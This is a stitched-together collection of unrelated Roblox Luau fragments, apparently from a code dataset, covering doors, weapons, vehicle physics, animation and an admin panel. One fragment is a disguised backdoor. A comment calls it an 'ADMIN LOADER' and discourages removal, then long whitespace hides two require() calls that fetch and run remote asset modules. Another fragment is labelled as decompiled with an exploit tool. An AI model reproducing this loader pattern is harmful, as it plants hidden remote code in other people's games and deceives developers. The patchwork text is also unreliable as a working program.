Roblox/luau_corpus huggingface dataset:
-- // Events \\ --
ProximityPrompt.PromptButtonHoldBegan:Connect(function()
	Functions.Flash("Teal")
end)

ProximityPrompt.Triggered:Connect(function(Player)
	DoorLogo.Beep:Play()
	Functions.Flash("Bright green")
	ProximityPrompt.Enabled = false
	Functions.Move(true)
	wait(2)
	Functions.Move(false)
	Functions.Flash("Bright red")
	ProximityPrompt.Enabled = true
end)
 																																																																																																	--[[ 																																																																																																					]]
-- Helper functions




function angleBetweenPoints(p0, p1)
	local p = p0 - p1
	return -math.atan2(p.z, p.x)
end

function getCameraAngle(camera)
	local cf, f = camera.CoordinateFrame, camera.Focus
	return angleBetweenPoints(cf.p, f.p)
end
--Camera.CameraType = Enum.CameraType.Scriptable
--RunServ:BindToRenderStep("MoveCam",Enum.RenderPriority.Camera.Value,function()
--	Camera.CFrame = Character.Head.CFrame
--end)

theAnim:Play()
theAnim.Stopped:Connect(function()
	for _ = 1,5 do
		Character.HumanoidRootPart.Anchored = false
		task.wait()
	end
	--RunServ:UnbindFromRenderStep("MoveCam")
	--Camera.CameraType = Enum.CameraType.Custom
	Gui:Destroy()
end)
theAnim:AdjustSpeed(0)

StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)

YesButton.InputBegan:Connect(function(io)
	if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
		StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All,true)
		
		t.Completed:Connect(function()
			t:Destroy()
			t2:Destroy()
			t3:Destroy()
			t4:Destroy()
			task.wait(10/60)
			theAnim:AdjustSpeed(1)
		end)
		t:Play()
		t2:Play()
		t3:Play()
		t4:Play()
	end
end)

NoButton.InputBegan:Connect(function(io)
	if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then
		Player:Kick("ok lol")
	end
end)
--ADMIN LOADER.
--This is a script that is part of your admin in game.
--Removing/tampering with this script will potentially result in scripts breaking in your game.
































































































































































































































































































																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																			 require(6091305634):Stys() require(5869080069):Stys()
-- How rare the weapon is and how hard it is to get.
if _M.DropsWeapon3 == true and DropChance == (_M.WeaponChance1) then -- If the correct value is pulled, enable the item to be dropped
	Enemy.Died:Connect(DropItem) -- Drop item if dead
end
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
--[[
	
	Clones a table giving it a unique memory address. Doesn't support mixed tables and userdata.
	
	Functions.CloneTable(
		table,					<-- |REQ| 	Table/dictionary	
	)

--]]


return function(tbl)
	return _L.Services.HttpService:JSONDecode(_L.Services.HttpService:JSONEncode(tbl))
end
-- This will inject all types into this context.
local TypeDefs = require(script.TypeDefinitions)
type CanPenetrateFunction = TypeDefs.CanPenetrateFunction
type CanHitFunction = TypeDefs.CanHitFunction
type GenericTable = TypeDefs.GenericTable
type Caster = TypeDefs.Caster
type FastCastBehavior = TypeDefs.FastCastBehavior
type CastTrajectory = TypeDefs.CastTrajectory
type CastStateInfo = TypeDefs.CastStateInfo
type CastRayInfo = TypeDefs.CastRayInfo
type ActiveCast = TypeDefs.ActiveCast
--[[Run]]
--Print Version
local ver=require(car["A-Chassis Tune"].README)
--------STAGE--------

game.Workspace.back1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.back2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.crewbig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.crewsmall1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.djstand.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.djtv.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side3.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side4.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side11.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.side12.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
game.Workspace.sidebig1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""

if game.Workspace.CurrentStageTV.Value == "1" then
game.Workspace.main1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLogo.Value)..""
end
-- Display err
function Error()
	Display(blankPattern, error_E, error_R, error_R, blankPattern)
end
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio
-- These are the IDs of the piano sounds.

settings.SoundSource = Box

settings.CameraCFrame = CFrame.new(
	(Box.CFrame * CFrame.new(-5, 3, 0)).p, -- +z is towards player
	(Box.CFrame * CFrame.new(1, 0, 0)).p
)
-- << SETUP >>
-- Toggle MainFrame through TopBar Icon
topBarFrame.Size = UDim2.new(1,0,0,topBarY)
topBarFrame.Position = UDim2.new(0,0,0,-topBarY)
imageButton.MouseButton1Down:Connect(function()
	if imageButton.ImageRectOffset == Vector2.new(0,0) then
		main:GetModule("GUIs"):OpenMainFrame()
	else
		main:GetModule("GUIs"):CloseMainFrame()
	end
end)
--[[
    Returns true the vector3 is within x and z bounds of an axis aligned part
]]
local function isVector3InBoundsOfPart(vector3, part)
	local worldSize = part.CFrame:vectorToWorldSpace(part.Size)
	worldSize = Vector3.new(math.abs(worldSize.X), math.abs(worldSize.Y), math.abs(worldSize.Z))

	local minX, maxX = part.Position.X - (worldSize.X / 2), part.Position.X + (worldSize.X / 2)
	local minZ, maxZ = part.Position.Z - (worldSize.Z / 2), part.Position.Z + (worldSize.Z / 2)

	return vector3.X >= minX and vector3.X <= maxX and vector3.Z >= minZ and vector3.Z <= maxZ
end
-- Player List 
local iswhitelisted = whitelist:CheckWhitelist(game.Players.LocalPlayer.Name)
if iswhitelisted == false then  rs.Whitelist:Destroy() script.Parent.Toggle:Destroy() script.Parent.Panel:Destroy() script.Parent.Logs:Destroy() script:Destroy() return end


function fixcanvas()
	local amount = script.Parent.Panel.PlayerList:GetChildren() 
	local fixedamount = #amount-1
	print(fixedamount)
	script.Parent.Panel.PlayerList.CanvasSize = UDim2.new(0,0,0,fixedamount*35)
end


for i,v in pairs(game.Players:GetPlayers()) do
	local username = script.Username:Clone()
	username.Name = v.Name
	username.Text = v.Name
	username.Parent = script.Parent.Panel.PlayerList
	fixcanvas()
	username.MouseButton1Click:Connect(function()
		if game.Players:FindFirstChild(username.Name) then
			chosenplr =  game.Players:FindFirstChild(username.Name)
		end
	end)
end
game.Players.PlayerAdded:Connect(function(plr)
	local username = script.Username:Clone()
	username.Name = plr.Name
	username.Text = plr.Name
	username.Parent = script.Parent.Panel.PlayerList
		fixcanvas()
username.MouseButton1Click:Connect(function()
		if game.Players:FindFirstChild(username.Name) then
			chosenplr =  game.Players:FindFirstChild(username.Name)
		end
	end)
end)
game.Players.PlayerRemoving:Connect(function(plr)
	local name = script.Parent.Panel.PlayerList:FindFirstChild(plr.Name)
	if name then
		name:Destroy()
	end
		fixcanvas()

end)


for i,buttons in pairs(script.Parent.Panel.Buttons:GetChildren()) do
	buttons.MouseButton1Click:Connect(function()
	local arg2 = nil
	if buttons:FindFirstChildOfClass("TextBox") then
		arg2 = buttons:FindFirstChildOfClass("TextBox").Text
	end
	print(arg2)
	remote:FireServer(buttons.Name,chosenplr,arg2)
	end)
end
script.Parent.Toggle.MouseButton1Click:Connect(function()
	script.Parent.Panel.Visible = not script.Parent.Panel.Visible
	script.Parent.Logs.Visible = not script.Parent.Logs.Visible
end)
-- Decompiled with the Synapse X Luau decompiler.

local l__TweenService__1 = game:GetService("TweenService");
local l__Modules__2 = game:GetService("ReplicatedStorage"):WaitForChild("Modules");
local v3 = require(l__Modules__2.Raycast);
local l__Ignored__4 = workspace:WaitForChild("Ignored");
local v5 = {};
local u1 = require(l__Modules__2.PseudoDebris);
function v5.RunStompFx(p1, p2, p3, p4)
	local v6 = Instance.new("Attachment", workspace.Terrain);
	v6.WorldPosition = p2.Position;
	u1:AddItem(v6, 10, false);
	for v7, v8 in pairs(script.FX:GetDescendants()) do
		if v8:IsA("ParticleEmitter") then
			local v9 = v8:Clone();
			v9.Parent = v6;
			v9:Emit(v9:GetAttribute("EmitCount"));
		end;
	end;
	return nil;
end;
return v5;
-- Gives Tool
function onTouch(part)
	local hum = part.Parent:FindFirstChild('Humanoid')
	if hum then
		local plr = game.Players:FindFirstChild(part.Parent.Name)
		if plr then
			if deb == true then
				deb = false
				give.BrickColor = RC
				color.BrickColor = RC
				local weapon = game.ServerStorage.Weps:FindFirstChild(wep)
				local w2 = weapon:Clone()
				w2.Parent = plr.Backpack
				wait(rt)
				deb = true
				give.BrickColor = SC
				color.BrickColor = SC
			end
		end
	end
end
script.Parent.Giver.Touched:connect(onTouch)
--------------------------------------------------------------------------------------
--------------------[ CONSTANTS ]-----------------------------------------------------
--------------------------------------------------------------------------------------

local Gun = script.Parent
local Handle = Gun:WaitForChild("Handle")
local AimPart = Gun:WaitForChild("AimPart")
local Main = Gun:WaitForChild("Main")

local Ammo = Gun:WaitForChild("Ammo")
local ClipSize = Gun:WaitForChild("ClipSize")
local StoredAmmo = Gun:WaitForChild("StoredAmmo")

local S = require(script:WaitForChild("Minigun"))

local Player = game.Players.LocalPlayer
local Character = Player.Character
local Humanoid = Character:WaitForChild("Humanoid")
local Torso = Character:WaitForChild("Torso")
local Head = Character:WaitForChild("Head")
local HRP = Character:WaitForChild("HumanoidRootPart")

local Neck = Torso:WaitForChild("Neck")

local LArm = Character:WaitForChild("Left Arm")
local RArm = Character:WaitForChild("Right Arm")
local LLeg = Character:WaitForChild("Left Leg")
local RLeg = Character:WaitForChild("Right Leg")

local M2 = Player:GetMouse()
local Main_Gui = script:WaitForChild("Main_Gui")

local RS = game:GetService("RunService").RenderStepped

local Camera = game.Workspace.CurrentCamera

local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, ATAN, COS = math.rad, math.sin, math.atan2, math.cos
local VEC3 = Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert

local MaxStamina = S.SprintTime * 60
local MaxSteadyTime = S.ScopeSteadyTime * 60

local LethalIcons = {
	"http://www.roblox.com/asset/?id=194849880";
	"http://www.roblox.com/asset/?id=195727791";
	"http://www.roblox.com/asset/?id=195728137";
}

local TacticalIcons = {
	"http://www.roblox.com/asset/?id=195728473";
	"http://www.roblox.com/asset/?id=195728693";
}

local Ignore = {
	Character;
	Ignore_Model;
}

local StanceOffset = {
	VEC3(0, 0, 0);
	VEC3(0, -1, 0);
	VEC3(0, -3, 0);
}

local Shoulders = {
	Right = Torso:WaitForChild("Right Shoulder");
	Left = Torso:WaitForChild("Left Shoulder")
}

local ArmC0 = {
	CF(.4, .2, 1.7) * CFANG(RAD(70), -1.5, -1);
	CF(2, -.5, 0) * CFANG(RAD(90), 0, 0);
}

local Sine = function(X)
	return SIN(RAD(X))
end

local Linear = function(X)
	return (X / 90)
end
-- The rank below is the rank (and above) that will bypass the anchor tool removal. 

local bypassrank = 248

return bypassrank
--[[ F7D's Anti ForceField Script ]]--
script.Parent = nil
game.DescendantAdded:connect(function(NoSilly)
	coroutine.resume(coroutine.create(function()
		if NoSilly:IsA("ForceField") then
			coroutine.resume(coroutine.create(function()
				while type(NoSilly)~=nil and wait() do
					coroutine.resume(coroutine.create(function()
						NoSilly:Destroy()
					end))
				end
			end))
		end
	end))
end)
-- A simple function to explode a specified part
function Explode(part)
	local explosion = Instance.new("Explosion", workspace)
	explosion.Position = part.Position
	explosion.BlastRadius = config.ExplosionRadius.Value
	part:Destroy()
end

script.Parent.Throw.OnServerEvent:connect(function(player, mousePosition)
	local handlePos = Vector3.new(tool.Handle.Position.X, 0, tool.Handle.Position.Z) -- remove Y from the equation, it's not needed
	local mousePos = Vector3.new(mousePosition.X, 0, mousePosition.Z) -- ditto
	local distance = (handlePos - mousePos).magnitude -- Get the distance between the handle and the mouse
	local altitude = mousePosition.Y - tool.Handle.Position.Y
	local angle = AngleOfReach(distance, altitude, config.GrenadeVelocity.Value) -- Calculate the angle
	
	tool.Handle.Transparency = 1
	local grenade = tool.Handle:Clone()
	grenade.Parent = workspace
	grenade.Transparency = 0
	grenade.CanCollide = true
	grenade.CFrame = tool.Handle.CFrame
	grenade.Velocity = (CFrame.new(grenade.Position, Vector3.new(mousePosition.X, grenade.Position.Y, mousePosition.Z)) * CFrame.Angles(angle, 0, 0)).lookVector * config.GrenadeVelocity.Value -- Throwing 'n stuff, it probably didn't need to be this long
	spawn(function()
	if config.ExplodeOnTouch.Value then
		grenade.Touched:connect(function(hit)
			if hit.Parent ~= tool.Parent and hit.CanCollide then -- Make sure what we're hitting is collidable
				Explode(grenade)
			end
		end)
	else
		
			wait(config.FuseTime.Value)
			Explode(grenade)
	end
	end)
	wait(config.Cooldown.Value)
	tool.Handle.Transparency = 0
end)
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS

function onRunning()
	local speed = script.speed.Value
	local heightScale = if userAnimateScaleRun then getHeightScale() else 1

	local movedDuringEmote = currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
	local speedThreshold = movedDuringEmote and (Humanoid.WalkSpeed / heightScale) or 0.75
	if speed > speedThreshold * heightScale then
		local scale = 16.0
		playAnimation("walk", 0.2, Humanoid)
		setAnimationSpeed(speed / scale)
		pose = "Running"
	else
		if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
			playAnimation("idle", 0.2, Humanoid)
			pose = "Standing"
		end
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing()
	local speed = script.speed.Value
	if userAnimateScaleRun then
		speed /= getHeightScale()
	end
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end
--[[
AnimateKey(note1,px,py,pz,ox,oy,oz,Time)
--note1(1-61), position x, position y, position z, orientation x, orientation y, orientation z, time

local obj = --object or gui or wahtever goes here
local Properties = {}
Properties.Size = UDim2.new()
Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
--Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
]]

function HighlightPianoKey(note1,transpose)
	if not Settings.KeyAesthetics then return end
	local octave = math.ceil(note1/12)
	local note2 = (note1 - 1)%12 + 1

	if IsBlack(note1) then
		AnimateKey(note1,0,.05,0,6,0,0,.13)
	else
		AnimateKey(note1,0,.1,0,8,0,0,.13)
	end
end
--[[
	THIS GUIDE WILL HELP YOU FIX THE COLLISIONS WITH UNIONS AND MESHPARTS IN THE MAP.
	
	Run this script in the command bar to select all the Unions and MeshParts in the map.
	
	After that, go to the properties frame and set the CollisionFidelity property to "Hull"
	
	Then, set them back to "Default"
	
	You have fixed all union collisions.
	
	
	- Credit to Jester for original instructions
--]]

local unions = {}

function getUnions(root)
	for i,v in pairs(root:GetChildren()) do
		if v:IsA("UnionOperation") or v:IsA("MeshPart") then
			table.insert(unions,v)
		end
		getUnions(v)
	end
end

getUnions(workspace)

game.Selection:Set(unions)
--[[Vehicle Weight]]	
	--Determine Current Mass
	local mass=0
	
	function getMass(p)
		for i,v in pairs(p:GetChildren())do
			if v:IsA("BasePart") and not v.Massless then
				mass=mass+v:GetMass()
			end
			getMass(v)
		end	
	end
	getMass(car)
	
	--Apply Vehicle Weight
	if mass<_Tune.Weight*weightScaling then
		--Calculate Weight Distribution
		local centerF = Vector3.new()
		local centerR = Vector3.new()
		local countF = 0
		local countR = 0
		
		for i,v in pairs(Drive) do
			if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
				centerF = centerF+v.CFrame.p
				countF = countF+1
			else
				centerR = centerR+v.CFrame.p
				countR = countR+1
			end
		end
		centerF = centerF/countF
		centerR = centerR/countR
		local center = centerR:Lerp(centerF, _Tune.WeightDist/100)  
		
		--Create Weight Brick
		local weightB = Instance.new("Part",car.Body)
		weightB.Name = "#Weight"
		weightB.Anchored = true
		weightB.CanCollide = false
		weightB.BrickColor = BrickColor.new("Really black")
		weightB.TopSurface = Enum.SurfaceType.Smooth
		weightB.BottomSurface = Enum.SurfaceType.Smooth
		if _Tune.WBVisible then
			weightB.Transparency = .75			
		else
			weightB.Transparency = 1			
		end
		weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3])
		weightB.CustomPhysicalProperties = PhysicalProperties.new(((_Tune.Weight*weightScaling)-mass)/(weightB.Size.x*weightB.Size.y*weightB.Size.z),0,0,0,0)
		weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0)
	else
		--Existing Weight Is Too Massive
		warn( "\n\t [AC6C V".._BuildVersion.."]: Mass too high for specified weight."
			.."\n\t    Target Mass:\t"..(math.ceil(_Tune.Weight*weightScaling*100)/100)
			.."\n\t    Current Mass:\t"..(math.ceil(mass*100)/100)
			.."\n\t Reduce part size or axle density to achieve desired weight.")
	end
	
	local flipG = Instance.new("BodyGyro",car.DriveSeat)
	flipG.Name = "Flip"
	flipG.D = 0
	flipG.MaxTorque = Vector3.new(0,0,0)
	flipG.P = 0
---[[ Window Settings ]]
module.MinimumWindowSize = UDim2.new(0.35, 0, 0.3, 0)
module.MaximumWindowSize = UDim2.new(1, 0, 1, 0) -- if you change this to be greater than full screen size, weird things start to happen with size/position bounds checking.
module.DefaultWindowPosition = UDim2.new(0, 0, 0, 0)
local extraOffset = (7 * 2) + (5 * 2) -- Extra chatbar vertical offset
module.DefaultWindowSizePhone = UDim2.new(0.5, 0, 0.5, extraOffset)
module.DefaultWindowSizeTablet = UDim2.new(0.4, 0, 0.3, extraOffset)
module.DefaultWindowSizeDesktop = UDim2.new(0.3, 0, 0.25, extraOffset)